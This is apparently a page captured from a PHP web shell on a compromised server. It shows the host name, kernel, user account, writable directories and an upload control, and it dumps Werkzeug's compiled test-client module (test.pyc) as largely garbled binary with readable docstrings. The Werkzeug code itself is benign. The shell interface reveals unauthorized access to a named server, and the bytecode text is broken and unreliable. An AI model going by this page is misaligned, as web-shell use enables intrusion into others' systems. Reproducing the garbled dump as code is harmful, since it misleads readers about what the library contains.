https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib/python2.7/site-packages/werkzeug/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python2.7/site-packages/werkzeug/test.pyc
�
./�_c@s|dZddlZddlZddlmZddlmZddlmZddlm	Z	ddl
m
Z
dd	lmZdd
lm
Z
ddlmZddlmZdd
lmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlm Z ddlm!Z!ddl"m#Z#ddl"m$Z$ddl"m%Z%ddl"m&Z&dd l"m'Z'dd!l"m(Z(dd"l)m*Z*dd#l+m,Z,dd$l-m.Z.dd%l-m/Z/ydd&l0m1Z2Wn!e3k
rudd&l4m1Z2nXydd'l5m6Z6Wn!e3k
r�dd'l7m6Z6nXe8d(d)e9d*d+�Z:e9d*d,�Z;d-e<fd.��YZ=d/e<fd0��YZ>d1e6fd2��YZ?d3�Z@d4e<fd5��YZAd6eBfd7��YZCd8e<fd9��YZDd:�ZEeFd;�ZGdS(<s�
    werkzeug.test
    ~~~~~~~~~~~~~

    This module implements a client to WSGI applications for testing.

    :copyright: 2007 Pallets
    :license: BSD-3-Clause
i����N(tBytesIO(tchain(trandom(t
TemporaryFile(ttimei(t	iteritems(t	iterlists(t
itervalues(tmake_literal_wrapper(treraise(tstring_types(t	text_type(tto_bytes(twsgi_encoding_dance(t_get_environ(tCallbackDict(tCombinedMultiDict(tEnvironHeaders(t
FileMultiDict(tHeaders(t	MultiDict(tdump_cookie(tdump_options_header(tparse_options_header(t
iri_to_uri(t
url_encode(turl_fix(t	url_parse(turl_unparse(turl_unquote(tget_content_type(tBaseRequest(tClosingIterator(tget_current_url(tRequest(t	CookieJarii�sutf-8c
	s<|dkr%dt�t�f}nt�dtg�|rR��fd��n
�dj���fd�}t|t�s�t|�}nxdt|�D]V\}}xG|D]?}|d||f�t	|dd�}|dk	r�t	|dt	|dd��}	t	|d	d�}
|
dkrE|	r<t
j|	�dp?d
}
n|	dk	rb|d|	�n
|d�|d
|
�xg|d�}|s�Pn�|�q}nAt|t�s�t
|�}nt|��}|d��|�|d�q�Wq�W|d|�t�dj��}�djd��d||fS(s�Encode a dict of values (either strings or file descriptors or
    :class:`FileStorage` objects.) into a multipart encoded string stored
    in a file descriptor.
    s$---------------WerkzeugFormPart_%s%sics��\}}}|r%|j|�n~t|�}|�d�krU|j|�n@td�}|j|j��|j|�|�d<t�d<||�d<dS(Niswb+ii(twritetlenRtgetvaluetTrue(tstringtstreamttotal_lengthton_disktlengtht
new_stream(t_closuret	threshold(s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pytwrite_binaryIs


cs�|j���dS(N(tencode(R((tcharsetR0(s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyR$\ss/--%s
Content-Disposition: form-data; name="%s"treadtfilenametnametcontent_typesapplication/octet-streams; filename="%s"
s
sContent-Type: %s

i@s

s--%s--
N(tNoneRRRtFalseR$t
isinstanceRRtgetattrt	mimetypest
guess_typeR
tstrRtintttelltseek(
tvaluestuse_tempfileR/tboundaryR2R$tkeytvaluetreaderR4R6tchunkR,((R.R2R/R0s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pytstream_encode_multipart<sN

	


cCs7t|dtd|d|�\}}}||j�fS(s|Like `stream_encode_multipart` but returns a tuple in the form
    (``boundary``, ``data``) where data is a bytestring.
    RBRCR2(RHR8R3(RARCR2R)R,((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pytencode_multipart�s$t_TestCookieHeaderscBs,eZdZd�Zd�Zdd�ZRS(s$A headers adapter for cookielib
    cCs
||_dS(N(theaders(tselfRK((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyt__init__�scCsRg}|j�}x9|jD].\}}|j�|kr|j|�qqW|S(N(tlowerRKtappend(RLR5RKtktv((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyt
getheaders�scCsXg}x?|jD]4\}}|j�|j�kr|j|�qqW|pW|pWgS(N(RKRNRO(RLR5tdefaulttrvRPRQ((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pytget_all�s
N(t__name__t
__module__t__doc__RMRRR7RU(((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyRJ�s		t_TestCookieResponsecBs eZdZd�Zd�ZRS(s�Something that looks like a httplib.HTTPResponse, but is actually just an
    adapter for our test responses to make them available for cookielib.
    cCst|�|_dS(N(RJRK(RLRK((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyRM�scCs|jS(N(RK(RL((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pytinfo�s(RVRWRXRMRZ(((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyRY�s	t_TestCookieJarcBs eZdZd�Zd�ZRS(s�A cookielib.CookieJar modified to inject and read cookie headers from
    and to wsgi environments, and wsgi application responses.
    cCsYg|D]}d|j|jf^q}|rEdj|�|d<n|jdd�dS(sYInject the cookies as client headers into the server's wsgi
        environment.
        s%s=%ss; tHTTP_COOKIEN(R5REtjointpopR7(RLtenvirontctcvals((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pytinject_wsgi�s)cCs&|jt|�tt|���dS(sXExtract the server's set-cookie headers as cookies into the
        cookie jar.
        N(textract_cookiesRYt	U2RequestR!(RLR_RK((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pytextract_wsgi�s(RVRWRXRbRe(((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyR[�s	ccs�t|t�rKx�t|�D](\}}x|D]}||fVq/WqWnVxSt|�D]E\}}t|t�r�x'|D]}||fVqzWqX||fVqXWdS(s�Iterates over a `dict` or :class:`MultiDict` yielding all keys and
    values.
    This is used to iterate over the data passed to the
    :class:`EnvironBuilder`.
    N(R9RRRtlist(tdataRDRARE((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyt
_iter_data�s

tEnvironBuildercBs3eZdZdZd(ZeZddlZeej	�Z
[ddddddddeeedddddddd	�Z
ed
��Zd�Zed��Zed
��Zejd��Zed��Zejd��Zed��Zejd��Zed��Zed��Zejd��Zd�Zd�Zed��Zejd��Zed��Zejd��Zed��Zejd��Zed��Zejd��Zed ��Zejd!��Zed"��Z ed#��Z!d$�Z"d%�Z#d&�Z$dd'�Z%RS()s�This class can be used to conveniently create a WSGI environment
    for testing purposes.  It can be used to quickly create WSGI environments
    or request objects from arbitrary data.

    The signature of this class is also used in some other places as of
    Werkzeug 0.5 (:func:`create_environ`, :meth:`BaseResponse.from_values`,
    :meth:`Client.open`).  Because of this most of the functionality is
    available through the constructor alone.

    Files and regular form data can be manipulated independently of each
    other with the :attr:`form` and :attr:`files` attributes, but are
    passed with the same argument to the constructor: `data`.

    `data` can be any of these values:

    -   a `str` or `bytes` object: The object is converted into an
        :attr:`input_stream`, the :attr:`content_length` is set and you have to
        provide a :attr:`content_type`.
    -   a `dict` or :class:`MultiDict`: The keys have to be strings. The values
        have to be either any of the following objects, or a list of any of the
        following objects:

        -   a :class:`file`-like object:  These are converted into
            :class:`FileStorage` objects automatically.
        -   a `tuple`:  The :meth:`~FileMultiDict.add_file` method is called
            with the key and the unpacked `tuple` items as positional
            arguments.
        -   a `str`:  The string is set as form data for the associated key.
    -   a file-like object: The object content is loaded in memory and then
        handled like a regular `str` or a `bytes`.

    :param path: the path of the request.  In the WSGI environment this will
                 end up as `PATH_INFO`.  If the `query_string` is not defined
                 and there is a question mark in the `path` everything after
                 it is used as query string.
    :param base_url: the base URL is a URL that is used to extract the WSGI
                     URL scheme, host (server name + server port) and the
                     script root (`SCRIPT_NAME`).
    :param query_string: an optional string or dict with URL parameters.
    :param method: the HTTP method to use, defaults to `GET`.
    :param input_stream: an optional input stream.  Do not specify this and
                         `data`.  As soon as an input stream is set you can't
                         modify :attr:`args` and :attr:`files` unless you
                         set the :attr:`input_stream` to `None` again.
    :param content_type: The content type for the request.  As of 0.5 you
                         don't have to provide this when specifying files
                         and form data via `data`.
    :param content_length: The content length for the request.  You don't
                           have to specify this when providing data via
                           `data`.
    :param errors_stream: an optional error stream that is used for
                          `wsgi.errors`.  Defaults to :data:`stderr`.
    :param multithread: controls `wsgi.multithread`.  Defaults to `False`.
    :param multiprocess: controls `wsgi.multiprocess`.  Defaults to `False`.
    :param run_once: controls `wsgi.run_once`.  Defaults to `False`.
    :param headers: an optional list or :class:`Headers` object of headers.
    :param data: a string or dict of form data or a file-object.
                 See explanation above.
    :param json: An object to be serialized and assigned to ``data``.
        Defaults the content type to ``"application/json"``.
        Serialized with the function assigned to :attr:`json_dumps`.
    :param environ_base: an optional dict of environment defaults.
    :param environ_overrides: an optional dict of environment overrides.
    :param charset: the charset used to encode unicode data.

    .. versionadded:: 0.15
        The ``json`` param and :meth:`json_dumps` method.

    .. versionadded:: 0.15
        The environ has keys ``REQUEST_URI`` and ``RAW_URI`` containing
        the path before perecent-decoding. This is not part of the WSGI
        PEP, but many WSGI servers include it.

    .. versionchanged:: 0.6
       ``path`` and ``base_url`` can now be unicode strings that are
       encoded with :func:`iri_to_uri`.
    sHTTP/1.1iii����Nt/tGETsutf-8cCsnt|�}|dk	r9|d�|kr9td��n|dkrx|d�|krx|j|d�d�\}}n||_t|�|_|dk	r�tt||�|�}n||_t	|t
tf�r�||_n?|dkr�t
�}nt	|t
�st
|�}n||_||_|dkrAt�}nt	|t�s_t|�}n||_|dk	r�||_n|dkr�tj}n||_|	|_|
|_||_||_||_||_||_t|_|dk	r=|
dk	rtd��n|j |�}
|jdkr=d|_q=n|
rR|dk	r^td��nt!|
d�r||
j"�}
nt	|
t�r�|
j#|j�}
nt	|
t
�r�t$|
�|_|jdkrOt%|
�|_qOqRxmt&|
�D]\\}}t	|t't(f�st!|d�r2|j)||�q�|j*j+|�j,|�q�Wn|dk	rj||_-ndS(Nt?s6Query string is defined in the path and as an argumentis can't provide both json and datasapplication/jsons#can't provide input stream and dataR3(.RR7t
ValueErrortsplitR2RtpathRtbase_urlR9tbytesRtquery_stringRtargstmethodRRKR6tsyststderrt
errors_streamtmultithreadtmultiprocesstrun_oncetenviron_basetenviron_overridestinput_streamtcontent_lengthR8tclosedt	TypeErrort
json_dumpsthasattrR3R1RR%Rhttupletdictt_add_file_from_datatformtsetlistdefaultROtmimetype(RLRoRpRrRtR}R6R~RwRxRyRzRKRgR{R|R2R�tjsontpath_sRDRE((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyRMBsv!														$ cKs�tt|��}i|dd6|j|d|jd�|d�d6|dd6|d	d
6|dd6|jd
d�d6|jdd�d6|dd6|dd6|dd6|dd6|d6}|j|�||�S(s�Turn an environ dict back into a builder. Any extra kwargs
        override the args extracted from the environ.

        .. versionadded:: 0.15
        t	PATH_INFORoswsgi.url_schemetHosttSCRIPT_NAMERptQUERY_STRINGRrtREQUEST_METHODRts
wsgi.inputR}sContent-TypeR6sContent-LengthR~swsgi.errorsRwswsgi.multithreadRxswsgi.multiprocessRys
wsgi.run_onceRzRKN(RRt_make_base_urlR^R7tupdate(tclsR_tkwargsRKtout((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pytfrom_environ�s"!

cCs<t|t�r%|jj||�n|jj||�dS(s=Called in the EnvironBuilder to add files from the data dict.N(R9R�tfilestadd_file(RLRDRE((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyR��scCs&t|||ddf�jd�dS(NtRj(Rtrstrip(tschemethosttscript_root((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyR��scCs|j|j|j|j�S(s`The base URL is used to extract the URL scheme, host name,
        port, and root path.
        (R�t
url_schemeR�R�(RL((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyRp�scCs|dkr!d}d}d}n6t|�\}}}}}|sH|rWtd��n|jd�|_||_||_dS(Nthttpt	localhostR�s4base url must not contain a query string or fragmentRj(R7RRmR�R�R�R�(RLRER�tnetlocR�tqstanchor((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyRp�s		cCsJ|jjd�}|dkrF|jrF|jr5dS|jrBdSdS|S(s�The content type for the request.  Reflected from and to
        the :attr:`headers`.  Do not set if you set :attr:`files` or
        :attr:`form` for auto detection.
        sContent-Typesmultipart/form-datas!application/x-www-form-urlencodedN(RKtgetR7t
_input_streamt_filest_form(RLtct((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyR6�s		cCs3|dkr"|jjdd�n
||jd<dS(NsContent-Type(R7RKR^(RLRE((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyR6�scCs*|j}|r&|jd�dj�SdS(sYThe mimetype (content type without charset etc.)

        .. versionadded:: 0.14
        t;iN(R6RntstripR7(RLR�((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyR��s	cCst||j�|_dS(N(RR2R6(RLRE((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyR��scs;�fd�}t�jjdd��d}t||�S(s� The mimetype parameters as dict.  For example if the
        content type is ``text/html; charset=utf-8`` the params would be
        ``{'charset': 'utf-8'}``.

        .. versionadded:: 0.14
        cst�j|��jd<dS(NsContent-Type(RR�RK(td(RL(s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyt	on_updatesscontent-typeR�i(RRKR�R(RLR�R�((RLs1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pytmimetype_params�s	cCs|jjddt�S(s�The content length as integer.  Reflected from and to the
        :attr:`headers`.  Do not set if you set :attr:`files` or
        :attr:`form` for auto detection.
        sContent-Lengthttype(RKR�R>(RL((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyR~scCs9|dkr"|jjdd�nt|�|jd<dS(NsContent-Length(R7RKR^R=(RLRE((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyR~scCsY|jdk	rtd��nt||�}|dkrU|�}t|||�n|S(s�Common behavior for getting the :attr:`form` and
        :attr:`files` properties.

        :param name: Name of the internal cached attribute.
        :param storage: Storage class used for the data.
        san input stream is definedN(R}R7tAttributeErrorR:tsetattr(RLR5tstorageRT((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyt	_get_forms	cCsd|_t|||�dS(s�Common behavior for setting the :attr:`form` and
        :attr:`files` properties.

        :param name: Name of the internal cached attribute.
        :param value: Value to assign to the attribute.
        N(R7R�R�(RLR5RE((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyt	_set_form)s	cCs|jdt�S(s$A :class:`MultiDict` of form values.R�(R�R(RL((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyR�3scCs|jd|�dS(NR�(R�(RLRE((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyR�8scCs|jdt�S(srA :class:`FileMultiDict` of uploaded files. Use
        :meth:`~FileMultiDict.add_file` to add new files.
        R�(R�R(RL((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyR�<scCs|jd|�dS(NR�(R�(RLRE((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyR�CscCs|jS(siAn optional input stream.  If you set this it will clear
        :attr:`form` and :attr:`files`.
        (R�(RL((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyR}GscCs||_d|_d|_dS(N(R�R7R�R�(RLRE((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyR}Ns		cCs?|jdkr8|jdk	r4t|jd|j�SdS|jS(siThe query string.  If you set this to a string
        :attr:`args` will no longer be available.
        R2R�N(t
_query_stringR7t_argsRR2(RL((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyRrTs
cCs||_d|_dS(N(R�R7R�(RLRE((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyRr_s	cCsC|jdk	rtd��n|jdkr<t�|_n|jS(s(The URL arguments as :class:`MultiDict`.sa query string is definedN(R�R7R�R�R(RL((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyRsds
cCsd|_||_dS(N(R7R�R�(RLRE((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyRsms	cCs|jjdd�dS(s4The server name (read-only, use :attr:`host` to set)t:ii(R�Rn(RL((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pytserver_namerscCs\|jjdd�}t|�dkrE|dj�rEt|d�S|jdkrXdSdS(s?The server port as integer (read-only, use :attr:`host` to set)R�iithttpsi�iP(R�RnR%tisdigitR>R�(RLtpieces((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pytserver_portws"cCs&y|j�Wntk
r!nXdS(N(tcloset	Exception(RL((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyt__del__�s
cCsz|jr
dSyt|j�}Wntk
r9d}nXx0|D](}y|j�WqAtk
rhqAXqAWt|_dS(s�Closes all files.  If you put real :class:`file` objects into the
        :attr:`files` dict you can call this method to automatically close
        them all in one go.
        N((RRR�R�R�R�R'(RLR�tf((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyR��s	



cs��j}�j}�j}�j}|d!k	rr|j�}|jdd�|j�}|j|�||}n�|dkr�t�j�j	g�}t
|d�j�\}}}|d|}nW|dkrt�jd�j�}|j
d�}t|�}t|�}n	t�}i}	�jr>|	j�j�n�fd�}
t�j�}|	ji�jd	6|
�j�d
6|
�j�d6|d6t�j�d
6t�j�d6�jd6t�j�d6�jd6�jd6�jd6�jd6|d6�jd6�jd6�j d6�j!d6��j"j#�}|d!k	rc||	d<|j$d|�n|d!k	r�t|�|	d<|j$d|�nx:|j%�D],\}
}||	d|
j&�j'dd �<q�W�j(r�|	j�j(�n|	S("s�Return the built environ.

        .. versionchanged:: 0.15
            The content type and length headers are set based on
            input stream detection. Previously this only set the WSGI
            keys.
        iismultipart/form-dataR2s; boundary="%s"s!application/x-www-form-urlencodedtasciicstt|�j��j�S(N(R
RR2(tx(RL(s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyt_path_encode�sR�R�R�R�tREQUEST_URItRAW_URItSERVER_NAMEtSERVER_PORTt	HTTP_HOSTtSERVER_PROTOCOLswsgi.versionswsgi.url_schemes
wsgi.inputswsgi.errorsswsgi.multithreadswsgi.multiprocesss
wsgi.run_oncetCONTENT_TYPEsContent-TypetCONTENT_LENGTHsContent-LengthsHTTP_%st-t_N()R}R~R�R6R7R?R@RR�R�RHR2RR1R%RR{R�R
RrRtR�RoR�R=R�R�tserver_protocoltwsgi_versionR�RwRxRyRzRKtcopytsettto_wsgi_listtuppertreplaceR|(RLR}R~R�R6t	start_postend_posRARCtresultR�R�RKRDRE((RLs1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pytget_environ�sr				

		









$	cCs(|dkr|j}n||j��S(s�Returns a request with the data.  If the request class is not
        specified :attr:`request_class` is used.

        :param cls: The request wrapper to use.
        N(R7t
request_classR�(RLR�((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pytget_request�s(ii(&RVRWRXR�R�RR�R�tstaticmethodtdumpsR�R7R8RMtclassmethodR�R�R�tpropertyRptsetterR6R�R�R~R�R�R�R�R}RrRsR�R�R�R�R�R�(((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyRi�snMF				
	
			VtClientRedirectErrorcBseZdZRS(sIf a redirect loop is detected when using follow_redirects=True with
    the :cls:`Client`, then this exception is raised.
    (RVRWRX(((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyR��stClientc
Bs�eZdZdeed�Zddddddeddd�	Zddd�Zed�Z	ed�Z
d	�Zd
�Zd�Z
d�Zd
�Zd�Zd�Zd�Zd�Zd�ZRS(s�This class allows you to send requests to a wrapped application.

    The response wrapper can be a class or factory function that takes
    three arguments: app_iter, status and headers.  The default response
    wrapper just returns a tuple.

    Example::

        class ClientResponse(BaseResponse):
            ...

        client = Client(MyApplication(), response_wrapper=ClientResponse)

    The use_cookies parameter indicates whether cookies should be stored and
    sent for subsequent requests. This is True by default, but passing False
    will disable this behaviour.

    If you want to request some subdomain of your application you may set
    `allow_subdomain_redirects` to `True` as if not no external redirects
    are allowed.

    .. versionadded:: 0.5
       `use_cookies` is new in this version.  Older versions did not provide
       builtin cookie support.

    .. versionadded:: 0.14
       The `mimetype` parameter was added.

    .. versionadded:: 0.15
        The ``json`` parameter.
    cCs=||_||_|r't�|_n	d|_||_dS(N(tapplicationtresponse_wrapperR[t
cookie_jarR7tallow_subdomain_redirects(RLR�R�tuse_cookiesR�((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyRM!s			R�Rjsutf-8cCs�|jdk	std��t||||||||	|d|
�	}t|dd|�}
d|fg}|jj|
|�dS(s�Sets a cookie in the client's cookie jar.  The server name
        is required and has to match the one that is also passed to
        the open call.
        scookies disabledtsamesiteRpshttp://s
Set-CookieN(R�R7tAssertionErrorRtcreate_environRe(RLR�RDREtmax_agetexpiresRotdomaintsecurethttponlyR�R2theaderR_RK((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyt
set_cookie0s	cCs,|j||ddddd|d|�dS(s$Deletes a cookie in the test client.R�iR�RoR�N(R�(RLR�RDRoR�((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyt
delete_cookieSscCsg|jdk	r"|jj|�nt|j|d|�}|jdk	rc|jj||d�n|S(s5Runs the wrapped WSGI app with the given environment.tbufferediN(R�R7Rbtrun_wsgi_appR�Re(RLR_R�RT((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyR�YscCs�t|�\}}}}}	tj|d|�}
|jdd�djd�}|
jjd�}|dgkr�||
_||
_n|}||kr�|t|�|kr�|js�t	d��q�q�t	d��n|jd	�}
|
j
jd	�}|
t|� |kr(|t|
j
�|
_n||
_d|
_
t|djdd�d�}|d
dhkr�|
jdkr�d
|
_nd|
_d|
_d|
_|
jjdd�n|j}d|_z|j|
dtd|�SWd||_XdS(snPerform a new request to the location given by the redirect
        response to the previous request.
        RrR�iit.R�s-Following subdomain redirects is not enabled.s.Following external redirects is not supported.Rji3i4tHEADRksTransfer-Encodingtas_tupleR�N(RRiR�RnR�R�R�R%R�tRuntimeErrorR�RoR>R7RtR}R6R~RKR^R�topenR'(RLtresponsetnew_locationR_R�R�R�RoR�R�tbuildert
to_name_partstfrom_name_partst
path_partst
root_partststatus_codetold_response_wrapper((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pytresolve_redirectbs@				 					cOs|jdt�}|jdt�}|jdt�}d}|r�t|�dkr�t|dt�r{|dj�}q�t|dt�r�|d}q�n|dkr�t||�}z|j�}Wd|j�Xn|j	|j
�d|�}g}	x�t|djdd�d�}
|
ddd	d
ddhksC|rGPn|sex|dD]}qXWn|d
d}||
f}
|
|	kr�t
d��n|	j|
�|j|||d|�\}}q�|jdk	r�|j|�}n|r�||fS|S(s�Takes the same arguments as the :class:`EnvironBuilder` class with
        some additions:  You can provide a :class:`EnvironBuilder` or a WSGI
        environment as only argument instead of the :class:`EnvironBuilder`
        arguments and two optional keyword arguments (`as_tuple`, `buffered`)
        that change the type of the return value or the way the application is
        executed.

        .. versionchanged:: 0.5
           If a dict is provided as file in the dict for the `data` parameter
           the content type has to be called `content_type` now instead of
           `mimetype`.  This change was made for consistency with
           :class:`werkzeug.FileWrapper`.

            The `follow_redirects` parameter was added to :func:`open`.

        Additional parameters:

        :param as_tuple: Returns a tuple in the form ``(environ, result)``
        :param buffered: Set this to True to buffer the application run.
                         This will automatically close the application for
                         you as well.
        :param follow_redirects: Set this to True if the `Client` should
                                 follow HTTP redirects.
        R�R�tfollow_redirectsiiNi-i.i/i1i3i4itlocations
loop detected(R^R8R7R%R9RiR�R�R�R�R�R>RnR�RORR�(RLRsR�R�R�RR_R�R�tredirect_chainR�R�R�tnew_redirect_entry((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyR��sH 

cOsd|d<|j||�S(s(Like open but method is enforced to GET.RkRt(R�(RLRstkw((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyR��s
cOsd|d<|j||�S(s*Like open but method is enforced to PATCH.tPATCHRt(R�(RLRsR((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pytpatch�s
cOsd|d<|j||�S(s)Like open but method is enforced to POST.tPOSTRt(R�(RLRsR((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pytpost�s
cOsd|d<|j||�S(s)Like open but method is enforced to HEAD.R�Rt(R�(RLRsR((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pythead�s
cOsd|d<|j||�S(s(Like open but method is enforced to PUT.tPUTRt(R�(RLRsR((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pytput�s
cOsd|d<|j||�S(s+Like open but method is enforced to DELETE.tDELETERt(R�(RLRsR((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pytdeletes
cOsd|d<|j||�S(s,Like open but method is enforced to OPTIONS.tOPTIONSRt(R�(RLRsR((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pytoptions	s
cOsd|d<|j||�S(s*Like open but method is enforced to TRACE.tTRACERt(R�(RLRsR((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyttraces
cCsd|jj|jfS(Ns<%s %r>(t	__class__RVR�(RL((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyt__repr__sN(RVRWRXR7R'R8RMR�R�R�RR�R�RR	R
RRRRR(((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyR�s4	?	J								cOs/t||�}z|j�SWd|j�XdS(s�Create a new WSGI environ dict based on the values passed.  The first
    parameter should be the path of the request which defaults to '/'.  The
    second one can either be an absolute path (in that case the host is
    localhost:80) or a full path to the request with scheme, netloc port and
    the path to the script.

    This accepts the same arguments as the :class:`EnvironBuilder`
    constructor.

    .. versionchanged:: 0.5
       This function is now a thin wrapper over :class:`EnvironBuilder` which
       was added in 0.5.  The `headers`, `environ_base`, `environ_overrides`
       and `charset` parameters were added.
    N(RiR�R�(RsR�R�((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyR�scst|�}g�g�d��fd�}|||�}t|dd�}t|�}|r�zt|�}Wd|dk	r�|�nXnjx%|D]}�j|��r�Pq�q�W�r�t�|�}n|dk	r�||k	r�t||�}n|�dt�d�fS(sReturn a tuple in the form (app_iter, status, headers) of the
    application output.  This works best if you pass it an application that
    returns an iterator all the time.

    Sometimes applications may use the `write()` callable returned
    by the `start_response` function.  This tries to resolve such edge
    cases automatically.  But if you don't get the expected output you
    should set `buffered` to `True` which enforces buffering.

    If passed an invalid WSGI application the behavior of this function is
    undefined.  Never pass non-conforming WSGI applications to this function.

    :param app: the application to execute.
    :param buffered: set to `True` to enforce buffering.
    :return: tuple in the form ``(app_iter, status, headers)``
    cs-|dk	rt|�n||g�(�jS(N(R7R	RO(tstatusRKtexc_info(tbufferR�(s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pytstart_responseBs

R�Nii(	RR7R:titerRfRORR R(tappR_R�Rtapp_rvt
close_functapp_itertitem((RR�s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyR�-s*

(HRXR;RutioRt	itertoolsRRttempfileRRt_compatRRRRR	R
RRR
t	_internalRtdatastructuresRRRRRRR�RRRturlsRRRRRRtutilsRtwrappersRtwsgiR R!turllib.requestR"RdtImportErrorturllib2thttp.cookiejarR#t	cookielibR'R7RHRItobjectRJRYR[RhRiR�R�R�R�R8R�(((s1/tmp/pip-install-sTXtzD/Werkzeug/werkzeug/test.pyt<module>
st

K

	���	

https://t.me/AnonymousX5 - 2025